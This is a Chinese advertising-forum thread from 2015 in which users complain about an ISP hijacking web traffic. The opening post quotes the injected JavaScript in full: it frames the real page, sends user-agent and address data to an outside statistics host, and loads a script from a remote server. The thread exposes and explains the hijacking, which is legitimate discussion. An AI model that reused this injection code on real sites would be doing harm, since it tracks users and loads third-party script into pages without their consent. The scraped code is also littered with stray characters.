AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

PropellerAds
Google-Bing-Mediago-Criteo开户
⚡️按条S5代理⚡️静态⚡️独享⚡️5G广告专用虚拟卡/U充值/高返点皇家代理IP⚡️#1性价比⚡️
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
⚡️AdsPower:安全不封号,高效自动化Google FB TK游戏代投⚡️E.PN 虚拟卡⚡️FB BM不限额,短id账单户
BINOM TRACKER 60% OFF!比Adplexity还好用的Spy工具ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理
虚拟信用卡+独立站收款全球虚拟卡, 支持U充值各种主页、账单户、BM户(优势)⚡️TikTok企业户,bm户,账单户
IPCola原生住宅IP⚡️$1.8/条双ISP提供TK企业新户老户、谷歌新户老户海外CL企业户源头PTM虚拟卡[全新卡BIN+高返点]
FB虚拟卡⚡️消费越多返现越多最大欧洲Nutra网盟BA找量 FB个号1块一个寻找顶级电商?AdsBranded等你!
TK老户/国内外端口/预审/加白SX.ORG 高质量代理⚡235+ 地区GG,FB,TK, 欧美源头, 欢迎合作广告位出租
8500万高质量住宅IP,助力各种需求虚拟卡返佣1%,国内持牌机构  
查看: 8685|回复: 12

[闲聊] 上网奇遇记

[复制链接]

44

主题

772

广告币

1423

积分

高级会员

Rank: 4

积分
1423
发表于 2015-2-3 00:52:03 | 显示全部楼层 |阅读模式
HuiTong虚拟卡
本帖最后由 hudba 于 2015-2-3 00:56 编辑 3 q6 z& F: x1 w

% O4 v$ ~" P* Z- k8 D* i上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了
% [' K# R9 c, l. Q; w6 N: m
) w9 s4 s) ~2 p% \6 G- r接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}
- f! C+ U; Y% j& X. o
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
http://www.v2ex.com/t/142197
: E* D2 w% y8 P+ i" A9 z

% r, ?8 M& m3 Z顺便查下ip138:5 j: L& D8 q/ n, {2 ~& W1 c

7 ]. a$ u1 I) G" h这是那段js里面的代码,好象是个半成品还没写入广告数据:4 N# r5 C8 H) @, H4 `! U
  1. function locationSearch() {
    1 d( ^4 j! y( }0 P) o, D
  2.         var s = getMainJs();0 h5 [" ~$ M) @% I3 j8 h
  3.         if (s == null) {( L3 ~4 r) A+ T3 C. q& ?
  4.                 location.reload();2 J: p1 c& K( W3 h" L5 S# {5 V
  5.         }
    : P" N  }) V! `$ G. v8 l) W
  6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);7 T2 U3 [$ L/ O2 \3 J" x" e6 S
  7. }9 @0 p( Z3 U& M$ t4 {

  8. ( Y' A4 k! l$ q
  9. function getParameter(name, paraStr) {
    4 X. H3 H* \4 P) G$ Y
  10.         var result = "";: }! s1 Z. U) D: _. d8 h
  11.         var str = "&" + paraStr.split("?")[1];
    - ]) b" e4 E$ `; K. Z4 A
  12.         var paraName = "&" + name + "=";! Q2 i% B/ q! `4 \0 v9 J
  13.         if (str.indexOf(paraName) != -1) {
    1 H9 E9 B( j+ y# Q5 {( `6 n% B5 i4 ]
  14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {  r5 X7 u0 Y* f' \; Q, X
  15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    ' f1 {6 o+ ?9 E/ x. o; |
  16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(* w' N% A% f  m- H
  17.                                         1, TmpStr.length).indexOf("&")
    3 w8 T0 U0 l8 i( [8 C# X
  18.                                         - TmpStr.indexOf(paraName) + 1);
    ; u, Y: W/ ^, V6 N; g0 c2 n
  19.                 } else {
    8 \/ T% h+ Q! c5 _/ i
  20.                         result = str.substring(str.indexOf(paraName), str.length);# j- X1 _, o. b9 k8 ^5 X! r
  21.                 }8 }9 w* J6 i7 F* I" y

  22. 2 k) j& E, E# D& ^6 G1 b* h
  23.                 result = result.substring(result.indexOf("=") + 1, result.length);' g/ g6 ?( @% _  X# Q+ a9 M
  24.         } else {
    ) T6 }/ H$ K( K
  25.                 result = "No such parameter";" U3 m- ^0 V4 M0 {* Y' h
  26.         }
    + \; y; w4 f% y- k
  27.         return (result.replace("&", ""));
    ( q) R! Y6 L7 M8 H: N
  28. }
    0 x9 p/ {2 k- U' o3 E" ~; j' p

  29. 1 T. k( P, I2 j4 k% F% m3 Y) {
  30. function getMainJs() {
    + Q) C* H  K8 w8 |# }
  31.         var scripts = document.getElementsByTagName("script");
    8 G/ C! q9 [+ V  u+ I0 v( A
  32.         var s = null;7 \7 ~% }. B0 b6 }( h; t/ v' s
  33.         for (var i = 0; i < scripts.length; i++) {" M1 ^) z4 c' L: S! p
  34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    5 c+ D3 s6 i  _+ W) _0 Z7 q
  35.                         s = scripts[i];
    & S7 z. @% W8 F. ]: n
  36.                         break;
    & j$ q) B/ j$ G+ ?7 _
  37.                 }
    7 q1 C" _8 ^& R- L$ [6 e( G
  38.         }
      `3 g5 s! Z8 p: |$ L, L- g
  39.         return s;7 ~$ p! L: S) q# }: \$ G
  40. }# s& n5 j! @' `
  41. . t' T8 G9 j) A! I& x/ F' B1 b
  42. function appendParam(oStr, aStr) {
    7 h& r  i0 c; J$ _" a- W
  43.         if (oStr.indexOf('?') > 0) {
    1 d& u8 @; k  M
  44.                 oStr = oStr + "&" + aStr;
    ) [7 m; M0 k3 Z; I  @  K0 `! o* k( ~
  45.         } else {' r! w( {$ M# H
  46.                 oStr = oStr + "?" + aStr;8 c# D6 T5 a' m
  47.         }6 J  @9 `8 F8 l% m( U# w3 K. b' e
  48.         return oStr;7 i1 {% `6 K) ?: H' @9 o% d, O
  49. }1 L* W+ Q6 `3 G3 h$ h
  50. 0 [; G$ e+ ?# p5 \4 \0 t$ ]& C
  51. window.onerror = function() {
    8 a* x, N! P3 K
  52. };# p6 V+ E  H: ]
  53. 1 Y2 j& a& z% A& F9 |! w$ O
  54. var g_titleTime = 0;, J' N) G# F3 s. ^! q+ k& m; w
  55. function setTcTitle() {
    . L) F# B9 X* b" [
  56.         if (undefined == document) {% q% G* F; A% L& }- z. q, }
  57.                 g_titleTime++;0 X+ Z, b8 m  M$ y, L' ?
  58.                 setTimeout("setTcTitle();", 1000);; p# ~% [5 h( C
  59.                 return;% I' W  a' J/ N7 @5 F1 t
  60.         }
    8 M9 I6 Z; e1 w1 w% y' U
  61. , @. Z5 `' o9 {2 L& f+ z5 q, l& Z
  62.         var doc;' e7 V* G8 h& l# P
  63.         try {
    $ P1 [3 x& {/ h/ Y) P8 \7 s
  64.                 if (document.all) {4 J5 J- I9 n/ h) j! p0 j8 c. X5 k
  65.                         doc = document.frames["cn"].document;8 [* m7 C, C9 N# G2 ^0 v
  66.                 } else {
    * Y, s8 _8 S* T
  67.                         doc = document.getElementById("cn").contentDocument;* d( y; ~) u0 e9 n
  68.                 }. m& @% x$ q/ S  l% O
  69.         } catch (ex) {
    4 O- \1 D8 Q# U# k
  70.         }2 D" r- x/ U" L7 E

  71. 6 Y* M% r6 w$ |1 D1 f4 u
  72.         if (g_titleTime < 5  l' Y0 a2 i* J, i0 t
  73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {" F7 x+ y7 E1 B% B- U
  74.                 g_titleTime++;* t, ]6 E0 N! w# |
  75.                 setTimeout("setTcTitle();", 1000);3 l6 `; p( }. h. }5 r$ V6 o# L5 `
  76.                 return;
    1 p6 h4 o! C8 I, V
  77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    4 f( X0 k6 H- X3 _2 i
  78.                 document.title = doc.title;
    $ f. b1 S# j/ m% [5 T* \: S
  79.                 setTcAdvVisible();
    - ?4 d& Z8 U8 H5 `4 T3 |# X
  80.         }
    % D- ]3 G9 W3 t: j1 l
  81. }& R% u* A" }4 g' t0 k7 Q
  82. : k3 R/ [& z( ?& h$ K7 m$ J  C
  83. setTimeout("setTcTitle();", 1000);
    & j+ |( C/ E- v! K% W
  84. 9 ]3 z& |/ u8 e0 l0 X* z( a+ o
  85. var g_isHaveVisible = false;
    - L6 D+ y% B  Z, \4 k! |
  86. function setTcAdvVisible() {
    0 e4 ~. F9 j* h" ?$ v6 Z
  87.         if (undefined != document && undefined != document.getElementById("addiv")) {& x* U  [2 a
  88.                         && !g_isHaveVisible) {
    ) U. I3 u: d  s$ F
  89.                 document.getElementById("addiv").style.visibility = 'visible';4 c* G3 z$ {( Z5 k6 p1 _! [* t
  90.                 document.getElementById("addiv").style.display = 'block';% _' G3 \. A+ k4 L; H
  91.                 g_isHaveVisible = true;) T- q/ V, {  |6 W. T3 X$ A
  92.         }- l2 D7 W# z0 U+ I+ i
  93. }' ?' R+ r5 N9 n3 \# x2 m+ ^
  94. # g( [" I7 S3 u, d1 D
  95. function UrlAnalyzer() {8 c0 u3 o( w+ ^( z8 q9 J
  96.         this.divda = "";
    9 h5 w. O/ @( H1 O/ Z
  97.         this.tctype = "";, Y+ m  [9 J+ V9 G& i9 W" p
  98.         this.radius = "";
    . B! H! `+ p9 x( O( S
  99.         this.rlu = "";5 d) W5 F  O4 i) d
  100. }9 I9 a5 a  D$ E) ^+ x
  101. 9 h& ~" W8 S2 ^: B3 h
  102. UrlAnalyzer.prototype.initParameters = function() {
    8 e, v4 M2 s8 d. Z9 v2 a0 y7 c+ Z
  103.         var paraStr = locationSearch();
    ' \' c" P( C! K+ u3 l7 n5 J
  104.         this.rlu = getParameter("lruedct", paraStr);6 |2 `% E+ Q1 m' A! L
  105.         this.divda = getParameter("divda", paraStr);# w3 E+ \6 U! ], S
  106.         this.radius = getParameter("radius", paraStr);
    5 Z+ i3 B/ N$ ~- f+ w1 ^% l
  107.         this.tctype = getParameter("tctype", paraStr);$ `' P3 L2 c0 t2 g& V
  108.         this.address = getParameter("address", paraStr);
    3 M/ u3 t8 O  W% t0 E
  109.         this.usagent = getParameter("usagent", paraStr);! D- |; e% J1 t5 D/ J) S2 w3 ^- `
  110. }
    ) b5 d, u$ T8 _2 T3 S" C/ z6 p
  111. ) k8 w) Q2 A: t0 ?
  112. UrlAnalyzer.prototype.getHtmlDoc = function() {
    + }+ w% [- k8 f0 j  O. G" ?
  113.         var doc;
    . g" C' R% [, I- L/ N0 `( c3 g
  114.         try {# v5 ^/ u- Z- p7 Y# u1 ^7 Y
  115.                 if (document.all) {& t8 |" {5 o7 S/ J" c% ]
  116.                         doc = document.frames["cn"].document;
    3 P! j2 A  K  y, e0 {- U6 T# V
  117. % y2 ?$ S% I8 A  U% _" n7 n" }
  118.                 } else {6 V6 D4 g. u' ]8 _: H
  119.                         doc = document.getElementById("cn").contentDocument;/ ~7 o& p! Q% `# y! d4 r) Q# V, q$ C
  120.                         // doc = document.getElementById("cn").contentWindow.document;  h( i* h, s. ?) ]  b
  121.                 }
    2 x& H. X: B$ Y' C) S; F" K+ l
  122.         } catch (ex) {
    % c& `! W: a" j
  123.         }7 r7 ^2 ^( ^2 q$ p5 S
  124.         return doc;
    ' c2 U, b8 o9 q
  125. }
    . p/ m. k+ H: B1 o- F

  126. - O: C  D8 f* H9 V" u. v
  127. UrlAnalyzer.prototype.setDomain = function() {
    " h0 ]2 X% V2 U
  128.         if (undefined != document.title && "" == document.title)
    ) z( q, z  b+ i* A
  129.         {
    & R5 v/ `2 W* C2 b9 q
  130.                 var index = document.domain.indexOf(".");5 c/ V7 {% {$ e6 B/ g' }
  131.                 if (undefined != index && -1 != index) {
    + t7 N7 _& ?1 v4 Q8 C
  132.                         document.domain = document.domain.substring(index + 1,
    5 J8 {1 ]! g/ t1 g
  133.                                         document.domain.length);
    ' E0 L( k$ K$ y- v# j
  134.                 }
    7 l" m3 s9 R7 P2 T4 g
  135.                
    2 G: L: c. ]; }( {
  136.                 var doc = this.getHtmlDoc();  Q  k' r) Y+ B+ b: _; ]
  137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {# Q/ W8 v3 |9 R2 f  D
  138.                         document.title = doc.title;
    2 m! b4 o' T( q) n4 e- J
  139.                         setTcAdvVisible();
      m/ l. n1 _2 x  E  p4 F
  140.                 }
    0 X1 o! b0 t8 g
  141.         }  y4 k' T) D# A2 a! p. i
  142. }% Z. q* b2 i2 B6 X

  143. 3 V6 A, f- K3 v! c6 d9 [  y8 \
  144. UrlAnalyzer.prototype.iframeCallback = function() {* W# ?+ z* a- b6 p" {6 o
  145.         var doc = this.getHtmlDoc();
    ( Q  a9 {6 x# ~% s6 p; b& A6 y" T9 M1 `
  146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {/ q% ]  d1 j9 s8 ]6 \
  147.                 if (undefined != document.domain) {0 z' ^2 U8 f5 ~

  148. - e+ _! `+ x6 ~$ h8 C
  149.                         var self = this;1 s3 q" D. L. I* ?2 k7 b1 G
  150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
    ' e! k9 c5 U/ U
  151.                         // var index = document.domain.indexOf(".");
    4 W* s+ k" i9 l1 U; t+ \" d( Q0 K( K
  152.                         // if (undefined != index && -1 != index) {3 _. N! J1 h# ?: }$ a/ C2 @+ N
  153.                         // document.domain = document.domain.substring(index + 1,* \2 D/ j; m% Z. U
  154.                         // document.domain.length);
    # W. n0 G' R6 Q: O$ W; i
  155.                         // }
    , C. S2 q+ d8 b$ L% U# _2 h) v+ V) c
  156.                         //( N- U2 W! e' @1 V" f; b
  157.                         // var doc = this.getHtmlDoc();5 e2 j% S- I' a5 w1 {
  158.                         // if (undefined != doc && undefined != doc.title && "" !=
    & B- W4 v; S( I; j
  159.                         // doc.title) {
    7 [4 Y4 t" H. T: @" n9 G
  160.                         // document.title = doc.title;
    / E/ {9 h7 v& N% ]4 ~3 b
  161.                         // setTcAdvVisible();" S9 \& ^# z, E/ x5 M0 j9 _
  162.                         // }2 i+ n. Z" D, U, H
  163.                 }! Q' b- X& k' ?2 d0 u1 [
  164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    + P5 N  Z9 H" K2 v2 |- E( ~
  165.                 document.title = doc.title;
    6 _  S4 |; j" }
  166.                 setTcAdvVisible();- ~  p# H! S. M! G+ N- s: D. v
  167.         }
    6 ]' r( S( H$ N# j
  168. }
    6 D- Z# i' h- V' {0 H) G/ l8 ~
  169. ; l! [4 f$ P/ `( I9 n: K/ \
  170. UrlAnalyzer.prototype.executeHtmlContext = function() {/ I7 ~' ]0 e) K7 Z* r/ Q
  171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
    5 S! w$ M1 \* x  g
  172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
    ) J* K9 z. ~# v

  173. * y$ v  w, e, P5 l% T8 Z
  174.         var htmlStr = "<iframe src="" + staUrl3 @: i6 j: z  b  D; O
  175.                         + "" style="display:none"></iframe>";
    3 o, z" H# u2 v: Z2 a: `
  176. 0 ^, `1 t3 {( B' ^  q4 r! x
  177.         var advUrl = htmlStr
    4 z8 p  z; B2 c1 K: f& O
  178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
    4 q! O, k2 `+ ]! h5 ^9 [3 \
  179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
    4 s* F5 ^1 @: D: j0 `
  180.         document.write(advUrl);
    0 K# F) q: G/ d# M& K1 W* v, H1 y
  181. & U  L. u8 K$ [' q" S: B
  182.         var self = this;) {$ S4 L4 s5 {' |, c' r" K) `5 M- L
  183.         var iframe = document.getElementById("cn");" X# O4 Q2 l+ Q$ m
  184.         if (iframe.attachEvent) {1 ]4 N( W" _6 ~& G8 W' q6 v5 q
  185.                 iframe.attachEvent("onload", function() {
    , j1 J- [6 A7 _7 K5 O! T
  186.                         self.iframeCallback.call(self, null);/ u- t* B/ _: C" s) e4 e* c
  187.                 });
    # h  S0 L4 g2 S* |
  188.         } else {
    6 u6 x. S! T  y" E  ~
  189.                 iframe.onload = function() {
    " ]* [( K) h% a* V5 k# n
  190.                         self.iframeCallback.call(self, null);
    ' q5 [3 p6 n. k5 L1 C4 ]
  191.                 }
    8 n' t! W  `2 J9 M0 Q1 z: C3 S
  192.         }; y5 b; O! d  ]. v
  193. }8 U: [& z) g" ~; p1 C

  194. 5 \4 K$ O4 y8 b" C) D. J" d, \. g
  195. UrlAnalyzer.prototype.executeMain = function() {4 H5 }$ ^' e) R3 l+ i- r0 d
  196.         var mainFrame = document.getElementById("cn");* a$ t5 G4 D  G7 `/ g: S+ v
  197.         mainFrame.contentWindow.location.href = mainFrame.src;; v; a6 p/ @2 h/ O
  198.         this.initParameters();
    . d" M$ B3 \: T4 k- A
  199.         this.executeHtmlContext();; Q9 g7 w2 [3 U6 f- k/ V' G
  200. }
    / k2 x' ]; z0 u8 B

  201. 8 A" l/ x7 m% S1 _/ D) |
  202. var g_analyzer = new UrlAnalyzer();. G6 C: U$ o7 \" L1 l# L
  203. g_analyzer.executeMain();5 p4 z6 n: h; |, k5 R6 k
复制代码

+ l* R* z  a( K( r& t$ |/ U
% d5 o' d5 T6 p; C5 f( _: h% W+ h3 N  l4 k+ l: M, p& I/ a% ]  B

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
相关帖子
回复

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 01:33:54 | 显示全部楼层
回复 支持 反对

使用道具 举报

52

主题

456

广告币

842

积分

中级会员

Rank: 3Rank: 3

积分
842
发表于 2015-2-3 04:58:09 | 显示全部楼层
我在想有没有大牛会去干电信那个网页,那就发啦。哈哈
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-3 09:49:12 | 显示全部楼层
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

点评

TCP劫持,换DNS也不管用的。  详情 回复 发表于 2015-2-3 21:26
回复 支持 反对

使用道具 举报

26

主题

348

广告币

595

积分

中级会员

Rank: 3Rank: 3

积分
595
发表于 2015-2-3 09:49:33 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

使用道具 举报

22

主题

1730

广告币

2028

积分

高级会员

Rank: 4

积分
2028
发表于 2015-2-3 13:12:15 | 显示全部楼层
电信DNS劫持不是一天两天了。国家垄断企业,没人能管”。。。
回复 支持 反对

使用道具 举报

1

主题

70

广告币

498

积分

中级会员

Rank: 3Rank: 3

积分
498
发表于 2015-2-3 14:24:00 | 显示全部楼层
我这段时间也遇到了,投诉了两次,这几天没出现了,再出现继续投诉
回复 支持 反对

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 21:26:11 | 显示全部楼层
阿百川 发表于 2015-2-3 09:49
* a4 e% m2 p4 ]% g' Z: {所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

) `: O) n% B; C" ZTCP劫持,换DNS也不管用的。

点评

正解。  发表于 2015-2-3 21:43
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-4 07:36:43 | 显示全部楼层
ads419 发表于 2015-2-3 21:26
% b: F0 M8 C( ATCP劫持,换DNS也不管用的。

. J3 O: L4 k4 N幸好联通还木有这么强的技术

点评

联通也一样,各地不同罢了。  发表于 2015-2-4 10:07
回复 支持 反对

使用道具 举报

12

主题

915

广告币

1212

积分

高级会员

Rank: 4

积分
1212

社区QQ达人

发表于 2015-2-4 20:47:04 | 显示全部楼层
在国内,习惯就好
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2026-2-17 14:12 , Processed in 0.051837 second(s), 15 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表